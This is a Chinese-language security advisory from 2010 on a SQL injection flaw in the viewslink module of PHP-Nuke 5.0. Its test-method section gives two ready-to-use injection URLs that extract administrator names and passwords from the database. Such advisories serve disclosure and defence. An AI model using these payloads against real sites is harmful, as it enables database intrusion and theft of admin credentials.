PHP-Nuke viewslink模块SQL注入漏洞


发布日期:2010-05-05
更新日期:2010-05-06

受影响系统:
PHP-Nuke PHP-Nuke 5.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 39925

PHP-Nuke是一个广为流行的网站创建和管理工具,可使用很多数据库软件作为后端,如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke没有正确地过滤提交给viewslink模块的sid变量。远程攻击者可以通过提交恶意查询请求执行SQL注入攻击,完全入侵数据库系统。

<*来源:CMD (cemede@ilkposta.com)
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/links.php?op=viewslink&amp;sid=-1/**/union/**/select/**/0,aid/**/from/**/nuke_authors/**/where/**/radminsuper=1/*
http://www.example.com/links.php?op=viewslink&amp;sid=-1/**/union/**/select/**/0,pwd/**/from/**/authors/**/where/**/radminsuper=1/*

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP-Nuke
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://phpnuke.org/

相关内容